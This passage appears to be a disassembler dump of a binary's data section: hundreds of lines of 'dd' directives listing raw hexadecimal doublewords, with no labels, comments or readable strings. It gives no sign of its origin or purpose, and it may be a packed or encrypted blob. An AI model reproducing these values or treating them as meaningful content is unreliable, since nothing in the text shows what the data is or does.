		dd 0D1120A87h, 0BCA3FD72h, 1EE0D409h, 391A3CA0h, 5C7708A0h
		dd 9B104001h, 0CFC2DC6Fh, 240AA870h, 50A72Dh, 4F0D167Ah
		dd 5B2DD151h, 0BB9CC32Ah, 6460D25Fh, 0C5F34B68h, 40141EFCh
		dd 0CE2B7340h, 9492DA70h, 82DC7517h, 5B0960E6h,	0BCF0CAD4h
		dd 2C7BE73Fh, 38880429h, 0C23B1D70h, 0E69E2F77h, 0FE00BCF6h
		dd 782C9D60h, 36A1812h,	489F18CAh, 0AC1C7100h, 0BC39EA79h
		dd 88354E3Ah, 2940FAACh, 0F2710734h, 0A6D270C1h, 313C483Eh
		dd 0E421804Fh, 0A3CEAA79h, 54400133h, 656D0B7Fh, 0ADD3E862h
		dd 0D8E03A60h, 9E4ED16Fh, 0B3360BA0h, 1E3854F3h, 5BC1728Bh
		dd 0E8768E27h, 14757470h, 0F860961Bh, 66B8284Eh, 4A396E5Ch
		dd 3CB61012h, 0E95A4079h, 0B0C9A302h, 66283E17h, 394901F0h
		dd 7BBE8BCDh, 510DFB79h, 20E1E873h, 443C353Ah, 80C6C514h
		dd 0EFA7F090h, 2580FC03h, 0E85C7E2Ch, 0F2629575h, 7D900049h
		dd 44FFD5E9h, 0F348E4BBh, 6CAA2580h, 0C64F04E4h, 0B82DAE8Eh
		dd 0DAE40188h, 0EBD447F4h, 730068CEh, 0A22B07CBh, 50B8C552h
		dd 37D3C7DCh, 63FCDB50h, 0B44E0105h, 94B8FEE0h,	10F38E07h
		dd 1560C09Fh, 88013769h, 0D1F467A9h, 809EDC85h,	0AF63835Ch
		dd 9E82E84Eh, 0EE18407Ch, 1F29240h, 828F013Dh, 0F050373Ch
		dd 0EA1CE899h, 18C0A38Eh, 0F5A45B58h, 20E490BCh, 63023253h
		dd 5D29D378h, 48C467h, 579A5642h, 0AFE3DC37h, 0D25EE50Bh
		dd 20CCD0E0h, 604E369Fh, 0FAD1A0C3h, 88AC00D3h,	0CB00E9E8h
		dd 0F8690161h, 0E540Fh,	365DEDCFh, 47849877h, 496279C0h
		dd 984580D8h, 95110100h, 0E47C05FCh, 5FD892F7h,	0E4F36452h
		dd 9C584058h, 799A19DCh, 3004C47Ah, 0D1A898B7h,	20766090h
		dd 370688AFh, 20984B12h, 5189A480h, 2DA038FEh, 0E0E1D496h
		dd 7B17F30Ch, 0ECC97FEEh, 0B43CE4E1h, 0BC10EF37h, 0D68A9190h
		dd 50495284h, 0D8443E81h, 0F201C701h, 879BD0D1h, 0ED6C1338h
		dd 68E8DC85h, 69712C0Eh, 0F1CF007Ch, 590C41A7h,	505D48h
		dd 8647A161h, 5C498162h, 725AE898h, 34E62C10h, 7C047B18h
		dd 5E9C4F18h, 0D5D098B2h, 6866D92Fh, 30983EE0h,	12A0625Fh
		dd 0E8BC2B76h, 172C016Bh, 5BE03BD7h, 5E7F1C8Ah,	21970032h
		dd 7A73EDE6h, 2E2B900h,	594B83B6h, 80DCDDD1h, 970FE640h
		dd 100616FBh, 0D0092124h, 2CDEE030h, 9AA20Eh, 9C18F952h
		dd 0B9052C44h, 40F8E1EAh, 0F2D60800h, 0E2683Fh,	29DC7DF0h
		dd 22C69D6Ah, 0EAEB18C1h, 0B300A558h, 5AB0D878h, 5C5DE42Dh
		dd 0E2380004h, 0E66E5E11h, 0F47DC9F0h, 88B29100h, 5320A240h
		dd 0F190C0BAh, 7D992760h, 63EE0E00h, 2A72061Ah,	9D960E80h
		dd 0A4C56D3Fh, 94C0AE97h, 0E47D778Dh, 0DA10C37Ah, 7038A2B5h
		dd 36F193F7h, 0BD30F700h, 6D5F0A5h, 0F8C7F425h,	5500C05Fh
		dd 0EAF119B8h, 18954F82h, 487F712Ah, 1E97E76h, 88A5765h
		dd 5A0DA7Ah, 41FE4D6h, 111DBB8h, 0CD122A8Eh, 25F23088h
		dd 1FF4294Ch, 0C61024A5h, 0A876AB44h, 0C9D28A06h, 0FA280FF3h
		dd 0D1B20F12h, 10B807C3h, 7160842Ah, 44239A50h,	0B8DD5A99h
		dd 0E7D60340h, 0D8D14F30h, 7F35F29h, 0DE936B3Ch, 43139389h
		dd 0C67C4000h, 24BAB195h, 5EE01F3h, 56447FDFh, 2209F35h
		dd 0FE42D298h, 2CDCF179h, 38ED02CCh, 1FE64D73h,	0DA1B1444h
		dd 2D05A7Ah, 77968411h,	0E4856F02h, 6B880117h, 60F08054h
		dd 0FF0087E3h, 0F223DE8Ch, 16E1660h, 2B4EE488h,	0C4541FF9h
		dd 401C9914h, 0FCF38AEh, 0E4A042C8h, 0DD82810Ch, 0A3F52126h
		dd 92958C40h, 0C47D55DFh, 0B7ABA7F0h, 2E1CA4D1h, 88970EB7h
		dd 978C2573h, 0B03D8A33h, 0C170B0EAh, 82D7F81Ch, 83BE3F7h
		dd 5D0E7E0Ah, 0B442B90Dh, 8A2663CCh, 0F3BE1E1h,	441D0F98h
		dd 67803897h, 38E0782Ah, 3970F537h, 0D63CEB32h,	12E3B698h
		dd 0C2F0F860h, 8207E603h, 80B8BDEEh, 6023EA6Bh,	0D72E446Eh
		dd 2AE24E7Ah, 706D928h,	64ED8228h, 252D8A00h, 98765EBEh
		dd 13EA1872h, 905C1A32h, 465DE4CFh, 2C142C4Ch, 0F3FD929h
		dd 0A066612Dh, 0D4501635h, 0F5F29D83h, 5E9CDD61h, 32ED0D34h
		dd 430D06B4h, 0FAF86796h, 56B66998h, 15668AEEh,	44405116h
		dd 0EB0682D5h, 56095C3Ch, 4F36050Ch, 0C022812Ah, 67EA52C2h
		dd 5C2AF067h, 43807163h, 0A8406C88h, 8DE0FBCh, 0CCC01FADh
		dd 27FD6794h, 555940C6h, 0C4FF0F28h, 53AFD4F7h,	4B3BCC66h
		dd 2C8CC807h, 0F06058B5h, 1AD24DDBh, 1CD80250h,	71C080Dh
		dd 52CA4D14h, 9483414h,	0A6C0E09Dh, 4859C88Ah, 69BC0354h
		dd 224CA93Fh, 0E8C25CF0h, 60F8083Bh, 73497958h,	20EA1B14h
		dd 4A438A8Ch, 63294C9Eh, 9D6558h, 0BBE561Eh, 8259A455h
		dd 0ACFBC600h, 5EEAA85Dh, 0BC5C9195h, 8AF36018h, 27FEF921h
		dd 0C6B4EE54h, 845099A4h, 35008A9Fh, 55B8BF25h,	820242h
		dd 676A38CFh, 4EFC223h,	0F9404190h, 29C40081h, 255CD989h
		dd 0C972FF3Eh, 0F6EAC10Ch, 77F822FDh, 3CD32AD2h, 0BF570946h
		dd 0E10D30BCh, 0C782E452h, 30587D3Fh, 60BF7072h, 0B8787908h
		dd 3C0B6F57h, 0A9034Dh,	9015B3A2h, 0E4C24301h, 13F7EA09h
		dd 0BE651CB8h, 5FE6045Ah, 8C670490h, 80696480h,	0A1EAF326h
		dd 565A55A3h, 3A618E80h, 0CABE71CDh, 8F00501h, 825FF602h
		dd 3C3F2ECCh, 0EA8A79BCh, 48F12D8Ch, 0FA4920BDh, 0A536CEDh
		dd 0A30FEC34h, 85609247h, 841FEB15h, 3C1A3030h,	0D73A489Bh
		dd 0C84CB401h, 80DEF84Fh, 2D12FA10h, 0A3C6846Eh, 3D57C8CCh
		dd 0A21D615Ch, 0E2CE5142h, 300098A9h, 4C5EA47h,	780F76D5h
		dd 107FA130h, 13A3FC0h,	0FF2A23C8h, 21515460h, 4AE5479h
		dd 1F65C18Eh, 0EB87C3DDh, 62378103h, 0B704E3C3h, 0E2EACBB0h
		dd 5326C11Dh, 412555F7h, 0BB11F282h, 0DCC72814h, 8638C17Bh
		dd 7CC08058h, 0EA3FC32Ah, 265E60FBh, 0C881E0F7h, 2624CC7Ah
		dd 0EB87AE0Dh, 4501661Ch, 0C3E1FB2Ah, 40600842h, 24490283h
		dd 0AB757DEh, 408BA52h,	905AD02Ah, 9C0BEAB4h, 10C9B79Ah
		dd 85FF3A5Fh, 0F41C8804h, 4AF8FACDh, 2812D246h,	6015C582h
		dd 4F5F2760h, 4A67BFEAh, 7C635516h, 0C40C4917h,	5B335D13h
		dd 92BF2EFCh, 304E611Dh, 0B9518321h, 0C282E28Ah, 20BC2035h
		dd 6395924h, 13AA14E6h,	0B3E7BEFh, 54519760h, 94810B0Ah
		dd 29807BBh, 0FA376852h, 372042D3h, 0A275C393h,	5D047A56h
		dd 8F11E089h, 8A329DC6h, 41BB1CD9h, 36D40208h, 0C44C735Bh
		dd 369D485Eh, 0A40D0632h, 0FE265430h, 85884859h, 51565D00h
		dd 2C746BB9h, 0E9C21A13h, 36006613h, 56048364h,	59C6058Ah
		dd 38973AEAh, 4B136848h, 5B0C7E41h, 92E9E339h, 700EF4B7h
		dd 290AE0E6h, 1CFF1D58h, 46F9649Ah, 0FD498688h,	0BB530287h
		dd 609A70ECh, 51CCB2Dh,	0EA76B042h, 5E149183h, 10C1F332h
		dd 0C495807Bh, 2878416Dh, 0E5EC782Ah, 0EA5E0840h, 2850615Ah
		dd 4C5FD369h, 1A7FB6F1h, 0A0F4C732h, 10F68A84h,	0A1AFB1BDh
		dd 3927358Ch, 3EE8597Eh
		dd 0CC9EBF49h, 0BA0A25ACh, 0CF1AD0A6h, 8242885Ah, 0C6860C39h
		dd 7B45C6Eh, 20291E13h,	7B27F18Bh, 6763058h, 4AC1764Ch
		dd 149B02CCh, 0DB0266C0h, 2BBF98C0h, 0DA1D75C6h, 0CB87BCh
		dd 42AB749Eh, 0F828E3D2h, 0FA16A6DBh, 7C00ED0Dh, 2611FDF3h
		dd 0D4321419h, 17FBB5Bh, 433A9D58h, 0FD87E382h,	0EB5A3025h
		dd 31320660h, 0DA520C1Ah, 32601052h, 2A6104FCh,	5CDE2242h
		dd 91018A40h, 0C220FBC0h, 12428233h, 806C9519h,	5BD62A0Bh
		dd 5EF08Ah, 0A60F922h, 1F54EAC3h, 0C720CD91h, 0E4518AF0h
		dd 162204F3h, 1DE5328Bh, 6852D19h, 971A69E6h, 0B500A93Dh
		dd 0A75CC6B9h, 0D0EA7D1Ch, 604035E4h, 81701D64h, 5F7B3052h
		dd 8003F2C9h, 0D1682F89h, 3D15BA1Bh, 0B6021A94h, 2260FB32h
		dd 0F7918EC0h, 0E91AFF71h, 0F50AD856h, 14872FC0h, 738B2439h
		dd 5FFE8906h, 7C127729h, 0C4830234h, 22C36804h,	3C89E083h
		dd 0E95753F0h, 143A6B33h, 0BB23C766h, 0E80C5802h, 0E90C243Bh
		dd 0BD2044AFh, 720FEA70h, 86D53145h, 3187175h, 685EF201h
		dd 5D630B88h, 9874FF8Ah, 0E78F5A04h, 6337E9E0h,	5DEF3198h
		dd 78ABC1h, 2821B6h, 241C8BFEh,	5E08950h, 61C046Eh, 0C4DEC083h
		dd 128C2345h, 6534710Ah, 762F1AB3h, 0ED0C8131h,	8FCCF15Ch
		dd 0A547B677h, 9A00E3D5h, 815FFA01h, 69026FC2h,	0A95D1C6h
		dd 0C7515A7Ch, 58EBF340h, 77FF0A00h, 59669D1Ch,	9CE4CFD2h
		dd 0D75201E6h, 6F31EA77h, 8B6660E2h, 36F3B388h,	1029BA15h
		dd 81018775h, 0E65CBFF6h, 0EE40DA3Bh, 0C303D04Ch, 0E4E9F531h
		dd 5D260A77h, 40EE3487h, 8904EC83h, 9D685EC2h, 22180F05h
		dd 65DE20BEh, 0A1E9F003h, 570E0A25h, 8C948B58h,	29A2DC70h
		dd 2022FB48h, 505252DAh, 16E6B61Ah, 981FE52Fh, 6A0D1A8Eh
		dd 7A360800h, 509A3D2Dh, 0C52906F9h, 2219EFE9h,	12C4F81h
		dd 0ED0D5A9Eh, 34E6A0E6h, 6A3EEECh, 92F4E364h, 0DA2A4B0Fh
		dd 2B5C03D0h, 0C076362h, 2A890B78h, 2E37F2C0h, 31D40C52h
		dd 0DEA98BD0h, 6809740h, 0E830AAEDh, 7C158FFh, 1131E959h
		dd 51353E40h, 54047B9Fh, 3C52C874h, 0EB2AC4B2h,	8159CFA4h
		dd 60705454h, 0C0E126D8h, 0EAE606E2h, 0E9530806h, 0B0209190h
		dd 6C040DDCh, 0C36655F9h, 6DE90D12h, 0DAF72445h, 3AE54080h
		dd 0C12D00A4h, 0F18102E1h, 140C1D9Fh, 0AECA3146h, 0AC77407Eh
		dd 0EA68660Eh, 0CA952Ch, 54B75351h, 38803EB1h, 0F93A9DC1h
		dd 5B8CE9BAh, 31D8E1C0h, 0BD079341h, 603DD4D3h,	0C8B33E4Fh
		dd 3024DAB1h, 7423BDD9h, 0ADE9893Fh, 0E7202A43h, 1D0C444Fh
		dd 4A498795h, 562F913Ch, 0C049E760h, 6B2C5C1Eh,	301498B2h
		dd 1E8958C2h, 52FAD028h, 9068C2ABh, 371E6608h, 0F27DB2h
		dd 6135E93Ch, 33C2DAA9h, 0C77A480Bh, 43CA8B5Ch,	0EA122C24h
		dd 828F5F09h, 69D5C35Fh, 55ECC693h, 1EB701BDh, 0C5816E8Bh
		dd 3ED5D0FAh, 85DF0CC0h, 2621A784h, 0D65DEEh, 331774CCh
		dd 456E34E9h, 539ACCD9h, 70EB62C1h, 0ACA789B2h,	0C91CF668h
		dd 18B3A980h, 50CBFE14h, 0A1D4CD7h, 0ABECE9FCh,	7287819Dh
		dd 5A140958h, 0F22759C5h, 0CC97C8C4h, 61495F2Fh, 923FB3C3h
		dd 6F4064D3h, 0AD8F8F53h, 0B9C251CFh, 0E16376C8h, 15C72EA6h
		dd 0F7E02B21h, 0C589E9D1h, 81B70F5Fh, 0FBB168F4h, 0E92BD1FCh
		dd 88558229h, 96582847h, 17E930D9h, 550BBF25h, 2900A0B8h
		dd 0EF8159CFh, 0A764D83h, 2766E979h, 2AC390D8h,	2124721Ch
		dd 76B0FE15h, 6380685Ch, 2A985F1Eh, 122C0A31h, 0F7F958C7h
		dd 76EF068Eh, 0E92743DEh, 8442ED40h, 5B4C544Dh,	0C3080791h
		dd 522C26D4h, 635D480h,	4B9818C4h, 34295002h, 60DEF73Dh
		dd 13D07FCCh, 401AA07h,	80EBA5h, 0C2BF575Bh, 2CC43950h
		dd 46BCB89Eh, 0A62137C3h, 22CF8102h, 8051F42Eh,	0B166285h
		dd 330901Fh, 39D3796Fh,	0EDF2FD01h, 1E5F0886h, 0F470E307h
		dd 0F7F1877Fh, 0E9D031D7h, 0BE85E58Fh, 463C4168h, 14DF438Eh
		dd 4220DE98h, 5485A42Ch, 41F4AE89h, 0E2784001h,	0E0C9E40h
		dd 6C45D5F7h, 6A351D50h, 5FCD816Bh, 800F3B53h, 0E479BFCCh
		dd 54F5E93Ah, 81EDDC07h, 1254092Ch, 0D0F7DA46h,	58BB890Bh
		dd 48EC8111h, 6C9089B4h, 0E750E90h, 0EE505880h,	0E5561DFh
		dd 9E07E0C1h, 0F7CC0506h, 0EC31DCEFh, 9061905Dh, 0D9AD2A84h
		dd 82ED03F4h, 8B384176h, 50705868h, 9AE1F762h, 0BE6AA240h
		dd 0DE374671h, 0C649FA2Dh, 12EB8003h, 1CEAD830h, 0C3602C8Fh
		dd 0E83DE95Fh, 115C80CBh, 3C9053ECh, 6813762Fh,	60607C93h
		dd 5D788C6h, 0E9CFFE5Ah, 5C84939Bh, 3F26D278h, 0EB820139h
		dd 40AE3CB4h, 82F80267h, 5A0A5A6Ch, 2E213A68h, 85E2A6B9h
		dd 0DA4E9C1h, 0D389F654h, 0DB23DACh, 196A09A0h,	0F5943089h
		dd 6595D1DDh, 80F36981h, 5612D04Ch, 5C78FC2Ch, 0BFC9B206h
		dd 45809E33h, 0C1285E28h, 0CE06F9E6h, 1DC2B49h,	70BB1E0Ch
		dd 0A564C9h, 0EFD111AAh, 5E3EF129h, 99592EE9h, 48E3CF95h
		dd 762520F2h, 0C05EEE52h, 0C693F5B5h, 681A5913h, 0F8D632Ah
		dd 2BDE38F6h, 7C07827Fh, 9451A558h, 0D2F14DE6h,	0BF942006h
		dd 937206EDh, 0E8298766h, 5D8305Dh, 0EB0432EFh,	8C66806h
		dd 8C00E5CDh, 1E7C0DDBh, 4B69BB02h, 0EB02329Eh,	5E033761h
		dd 84899450h, 0BB1C3725h, 0A626B16h, 0DF3C888Ch, 45F2640h
		dd 15BD889h, 0C88287C7h, 2E03092Ch, 0D97A49FCh,	16AEEC47h
		dd 0EEB1C24Eh, 547C6FCBh, 6888DEF2h, 0F9D9E4F5h, 402B6120h
		dd 30065AD3h, 0C0B60FC3h, 55877E88h, 2B408D32h,	3B8D3E15h
		dd 0EA80421Bh, 4A6D0DC3h, 250E2C1h, 98266C82h, 0CA02624Bh
		dd 6678FDE9h, 0CBC981BAh, 541D2F28h, 5422D75Bh,	0F0599BB7h
		dd 29893931h, 0CBBA41EBh, 0E0D6081h, 49D0F598h,	169DB5D1h
		dd 200B89C2h, 2EA9143Dh, 0E9D4A029h, 0EB8B5536h, 9968A900h
		dd 9E449913h, 48394052h, 0E95A29D7h, 7500FB4Ah,	36863BBFh
		dd 0FE31286Bh, 7B812B99h, 4F7E8A3Eh, 24E2A027h,	61A081CCh
		dd 0ECC39D61h, 87D686D8h, 0CB73E54Ah, 0A10FB2A0h, 6674BFF9h
		dd 0EE166D70h, 2B080BEBh, 1B004F48h, 2D13FC44h,	0FFB312Ch
		dd 3D04F312h, 19C073CAh, 123A12B1h, 4C30138h, 0B69A298h
		dd 0E1B33358h, 0DC94F609h, 0C6C0A4BDh, 544D361Dh, 72EE013Ch
		dd 555D08A0h, 0BB4B54B8h, 124A8955h, 32C00DE9h,	90685755h
		dd 0CF2B01Fh, 4BDF875Fh, 0E9264706h, 5C9324D2h,	94111752h
		dd 1613D7E3h, 0A160112Dh, 0BC7D99D3h, 0B95F562Ch, 5A3ED0AEh
		dd 202DED00h, 5E4FC45h,	0E4FCD09h, 5A500061h, 0F60C4B5Bh
		dd 2E5006FEh, 0D6C82976h, 0D040380Ah, 6718A717h, 48F74D0Eh
		dd 5E0F40D3h, 55F2BEC9h, 224C401Ah, 9E913B5h, 2168708Dh
		dd 5C2C4847h, 0D002B37Fh, 507B9A18h, 6E6FE1Fh, 16274632h
		dd 0AA029A4Eh, 1740DC0h, 0AC0940CEh, 6E40820Ah,	34A62B54h
		dd 5A254B1h, 62A1E919h,	9C25E329h, 9AFE5C2h, 1B0E295Ch
		dd 0A462A97Eh, 39D80E2h, 0FB010C12h, 0EB4EE93Bh, 0C10E021Eh
		dd 0C5CD81E5h, 60F6D3FFh, 80E6943Bh, 0F2492959h, 515029E3h
		dd 45D369C9h, 9E242935h, 0B930FBBh, 12A54FDEh, 0CBF092F2h
		dd 61FD3EC3h, 0A3FC2C72h, 2962B22h, 77568454h, 7170A72Eh
		dd 0A203DB40h, 0C10B865h, 78831902h, 3F0C89C8h,	0DC4D6F40h
		dd 7E6D308h, 509EFB2Bh,	0E9EE89A0h, 28EAE027h, 6804FDDAh
		dd 5CE25406h
		dd 529FE916h, 7E948AF5h, 8241AE26h, 0F225965h, 2E2FA952h
		dd 4F087719h, 685640C1h, 95BB69DAh, 3F53E688h, 15519809h
		dd 33353482h, 162D00Ah,	0F92D03DFh, 82416242h, 0AA37BF68h
		dd 0D9E2F02Fh, 0E538605Bh, 40032C31h, 203026C9h, 13CF9908h
		dd 0E36E845Bh, 4F5FC4CBh, 3FFBE03h, 9B5067DAh, 59432B20h
		dd 50147A54h, 11621B8h,	30DA2144h, 0EC530717h, 5ECA00CEh
		dd 840FC90Bh, 7E882896h, 0E94FC44Ah, 0E613945Ah, 2467628h
		dd 786F358h, 88032EE5h,	0D0285BFAh, 4C8985Ah, 0B92C50D7h
		dd 22E76F13h, 0A266D8C4h, 13023F02h, 0D341907Bh, 51965B94h
		dd 40849E24h, 521B6639h, 0B658A4B2h, 4F03C5Ah, 98273058h
		dd 8F589702h, 0EA963C51h, 0D0684480h, 62549473h, 88078753h
		dd 0D92002D9h, 92BEA00Eh, 2D712609h, 2F22C589h,	68014CD1h
		dd 1328301Dh, 0ED1F499Fh, 69C33C1Bh, 0F1012B1Fh, 4EABD6D5h
		dd 4483CA73h, 0A45C9F0Ch, 0BF57240Dh, 9285693Dh, 24BCC956h
		dd 8927520Ch, 8CD334E2h, 2CD32E81h, 0CDF388CCh,	5DC38005h
		dd 0A70A4184h, 3310BC6Ah, 6489BD38h, 8D0407E0h,	4F5E0C42h
		dd 98F1B95Ch, 0F8284BCEh, 0E3942C2Ah, 0A1BA5148h, 0C82890E9h
		dd 66E82809h, 519DC182h, 5039ECC6h, 0B0A173B0h,	0B7820449h
		dd 6B19C199h, 0DAF47DECh, 845F86Ah, 48F9F015h, 4E4892h
		dd 28863D11h, 681454Dh,	94112E5h, 0E1090C43h, 800B651Eh
		dd 57299656h, 0C16B051h, 2EF3BE0h, 4E1D4DB6h, 0E95348AAh
		dd 0FE1CF00h, 0F04AA76Dh, 9F2F640Ah, 2C97CCC5h,	0F2395C81h
		dd 0E48F658h, 0F183F67Dh, 3FC1947h, 0D1F75055h,	0BE56005Dh
		dd 1DF33365h, 0B2928BE9h, 0DD686631h, 3F94351Ch, 332238EDh
		dd 8E13C96Ah, 3D725F16h, 1108F11Ch, 515C035Bh, 624D38E9h
		dd 3DE80C24h, 0E620614Ch, 525F00CCh, 0B4556DBAh, 0D305013Dh
		dd 5954515Ah, 77EEB71h,	0F7D1F701h, 0F91EB4C0h,	0A19A0A50h
		dd 3CBD7918h, 2EF6432h,	0CB01C75Eh, 6ED15359h, 435CB00Ch
		dd 4E4948D9h, 0E799D72Dh, 68982156h, 0F07895A2h, 0BC8C10E9h
		dd 62EE8129h, 2053DF44h, 0C080E620h, 3A55B8E3h,	0C5B280CBh
		dd 8540C906h, 0D85808D3h, 0B753B038h, 10399A83h, 0D728EDh
		dd 0C780DFF6h, 9EF808E1h, 2060A881h, 0D9FF74A3h, 99C1CCFDh
		dd 72F8A8E1h, 32F2CE7Bh, 0C577ABBAh, 0ACD66B26h, 78BBC381h
		dd 0DC740870h, 5B543E53h, 322A867Ch, 0C54CD929h, 0E7662AE4h
		dd 144B9496h, 842D4216h, 0AFD350DEh, 891B0E38h,	0EA6F5FFDh
		dd 8DA0C4EBh, 0BA59B4BEh, 8DE4427Ah, 89E26A9Ch,	8530C724h
		dd 5E3BC6E9h, 0CC39EC3h, 0B5C11048h, 0F6EECB65h, 0C05AB400h
		dd 0E68007EAh, 3EE09C3Dh, 50E7F6F3h, 0E03CB008h, 28E918FEh
		dd 5387B53Eh, 0A32E1F2Ch, 46DE1E30h, 10D760F7h,	3FC941EAh
		dd 6768E93Fh, 0D74D195h, 906665E0h, 4CC874CEh, 0F0106051h
		dd 55B844E0h, 74E574B0h, 892557D0h, 83FE99E7h, 2C870C9Ah
		dd 0CD4F3686h, 0A1BF71A0h, 6D2BA92Ch, 0C64EF609h, 6B709C92h
		dd 38B9CDC9h, 46680B39h, 0F217B33Fh, 3B094B9Ch,	0BD8F733h
		dd 0CD5AE400h, 5EF03167h, 3575239h, 9369D868h, 6156F27Dh
		dd 0C3C0777Eh, 0EB4B866h, 5EF2315Dh, 0EA45D7C9h, 0CFCE471Dh
		dd 7616206Fh, 0CD40F9E9h, 34B704E7h, 4B458A63h,	0F050F78h
		dd 0C1050A1Eh, 0DE3E884h, 961B09E0h, 7C6449CDh,	0F0BA6FFAh
		dd 0FF808B54h, 0F8895267h, 74930FF5h, 715AA288h, 99E94147h
		dd 0C468AECAh, 0CE7FF052h, 4044B932h, 0C9FE8009h, 0B83B2793h
		dd 0BDF10022h, 0C1081D17h, 0D9A9A1E1h, 804D04A4h, 0E9D5B8FFh
		dd 0E9CB8DC7h, 7DB084DDh, 585A5003h, 304A2A0Eh,	0A801499Dh
		dd 5A0A0876h, 1E8D9533h, 601CE42Dh, 0E9D81601h,	0CDC5BFh
		dd 0A0166C55h, 0F8488918h, 6518463Fh, 97210816h, 9024734h
		dd 85C1F563h, 78810581h, 64024942h, 455BFF0h, 931E2295h
		dd 48307311h, 0D8E90948h, 0AA71EEDDh, 0F6810570h, 65A2EE61h
		dd 68CD05h, 59685B96h, 15250F5Ah, 6C7A7C37h, 0A5427F6Ah
		dd 0C58804FDh, 0DDFA0763h, 0E4736780h, 596CA889h, 0F8681D6Eh
		dd 29982E6Ah, 1D495E16h, 8E7FE70Eh, 0DDF76419h,	7ED35B0h
		dd 0A4413C0h, 120366C1h, 58A10B01h, 5DEA0102h, 0E9161966h
		dd 5EF7C5DAh, 493C0AD2h, 1E8364E2h, 0F11B5BCCh,	0B1584DC6h
		dd 8C44DBB7h, 685CEDC9h, 579E0C9h, 0EB8105A9h, 0EE0600DEh
		dd 58763F47h, 0F490017Bh, 1B4C0882h, 662E0FBAh,	1042BED3h
		dd 1BF07C9h, 4049D668h,	0CA153FE3h, 5144314Ch, 588139A6h
		dd 0EC878F3Dh, 2EE90649h, 69604FC5h, 0DF9A23CBh, 3F14261h
		dd 546DB25Dh, 3ABA0107h, 9D7E5A28h, 3103F5A8h, 41D62952h
		dd 4A4108C8h, 0C1002046h, 0F71D08EBh, 726C83DBh, 7C925F80h
		dd 12D9296Dh, 1F1015Bh,	0ED7DAEAFh, 3201706Ch, 973C9F9Bh
		dd 0A43FA17h, 8388B652h, 2268B6F0h, 0EF2889C6h,	910B8008h
		dd 2155854h, 0A4CEF8C5h, 460404EEh, 80590140h, 0FF45C9F6h
		dd 8D5839A1h, 0C4FCF8CFh, 80525BC1h, 35D0F9Ch, 0D602BAE4h
		dd 0E9914FB8h, 0C0904BC8h, 7A81673Dh, 0CF5D323Bh, 0A98B3114h
		dd 1582D429h, 5A09E488h, 6FFE6F22h, 0A2E6D2A4h,	9A29786Ch
		dd 3D0A08EAh, 0C780E21Fh, 0D79D5386h, 6289B089h, 685D1B08h
		dd 513E4CE3h, 2859C080h, 59A06C01h, 6704CB81h, 90736233h
		dd 3440E9CBh, 6B01F4B1h, 0B5B97BCDh, 0F1290B89h, 0E95EFC21h
		dd 47172FA8h, 4ED257C8h, 87E035C7h, 3EECB255h, 0FA342D52h
		dd 41A30C12h, 9572D64h,	60754243h, 0A94AD778h, 0D020EBBEh
		dd 0B3027CC3h, 7023A49Fh, 0E4960D22h, 0C0696843h, 0B68B3AFCh
		dd 0F0A092F7h, 51EBBDDh, 49E47A15h, 1E52060Ch, 31F94189h
		dd 0EA96206Dh, 0CA524B84h, 18225A6h, 0F445358Eh, 982948CCh
		dd 5FD9FA07h, 312E5346h, 14D10F59h, 7F4EB844h, 219271B8h
		dd 57C72D2Dh, 56E53113h, 482833BEh, 7A350FB7h, 88B8E03Bh
		dd 0B0065CEDh, 295B2528h, 0DC1D0202h, 760244E4h, 110A518h
		dd 0DA4C7C8h, 0AD7E02h,	846827EFh, 7D4A2852h, 0E90CF250h
		dd 0B1587E24h, 5800E793h, 0F030DCF7h, 92DBFC75h, 6829645Eh
		dd 0F498B559h, 2E25EECDh, 0F10C80C7h, 61BB46F4h, 0A6841C33h
		dd 0E80BCF4Dh, 831B2FC8h, 0B6C40D8h, 5207E269h,	6D364310h
		dd 66EF0ABCh, 717412Bh,	0F33017EFh, 0A5C56087h,	0E259C1Bh
		dd 0F84229h, 0E9575F08h, 1E189223h, 1205EBC0h, 0F454B177h
		dd 0BB92C66Ah, 0F76654A0h, 9C68F11Dh, 0C1E413EDh, 7D284D5Fh
		dd 32BF5784h, 0C903267Ch, 0D7BA38h, 29BF730Ah, 7A8CF61Fh
		dd 0CEE91001h, 6D004A3Ch, 35B5B850h, 0F77A18FDh, 7D8CA8D8h
		dd 93EBDFC0h, 903BB46Fh, 819F908Eh, 632B5D08h, 0C32D09EDh
		dd 0C5A69666h, 0DD86682Ah, 8A3AAD9Ah, 0AE8ADE9h, 0DB8D9069h
		dd 0EA808072h, 0DA28F01Dh, 156EC25Dh, 2909112Eh, 34D0C5F5h
		dd 85733BAh, 1062604Ch,	0BE56C5AEh, 16463324h, 10D04931h
		dd 0B686E6D0h, 4B265694h, 0B5BA6926h, 6052478Bh, 0AD2024A2h
		dd 0D031DE50h, 3791591Eh, 4C56BECDh, 0B5517C66h, 5BDF5A10h
		dd 9D429957h, 0B546273Ch, 4292E924h, 9E34D74Eh,	909629B8h
		dd 0FE4788FFh, 49E9153Ah, 82302F40h, 53CE051h, 48FB0B51h
		dd 0E1127FE2h, 5321A370h, 13972668h, 653694D9h,	262316B2h
		dd 0C72590CAh, 0C188C047h, 63662EB1h, 307D3B7Fh, 68670FA3h
		dd 69FD1494h, 2E8E1A57h
		dd 0F1F9841Bh, 57B241BCh, 0EB0102DAh, 3D93469Dh, 1E2FD3F7h
		dd 0B5F3C7CCh, 803A3428h, 56B2FC56h, 0A386C260h, 0DA22607Bh
		dd 800A2C2h, 10BB685Bh,	0D864FEB6h, 7DFEACh, 63D16777h
		dd 3EAC15Ah, 1BB64AFCh,	8CCF3E25h, 84594AD6h, 854AE87Ch
		dd 21E2372Dh, 0C34A4A48h, 0FEEFB58Dh, 173E6CAh,	35606B8Ah
		dd 0AC0E855Ah, 64D06E17h, 0B07D6664h, 1CA0EDB4h, 0C2B4BC08h
		dd 20BF5F6h, 7A496C03h,	3D8A8076h, 0CDB337Eh, 0D3F98E0Ch
		dd 697301Eh, 0ACDDEC1Bh, 0ED5002B4h, 38453D2Eh,	0F44E4E58h
		dd 465D1E0Bh, 0C836B43h, 0FB5BE612h, 18F4D2BCh,	0E6DFC3F4h
		dd 587213F7h, 5E660146h, 0F30F371Ch, 0D72A77D8h, 0A54BA2B8h
		dd 51F5E287h, 697D1A90h, 0F00979CDh, 4107A2F6h,	0C270E6FFh
		dd 6AFE0CEEh, 70D8B75Bh, 34255817h, 41FC2910h, 7D79D408h
		dd 8A8073B6h, 813DFD48h, 515017C2h, 0EAA900EDh,	3EB816F6h
		dd 1CFA0134h, 93E90804h, 6AD978D7h, 0F2E961A0h,	7F271D25h
		dd 9BA6450h, 6E960DDAh,	48682521h, 563B2325h, 18605818h
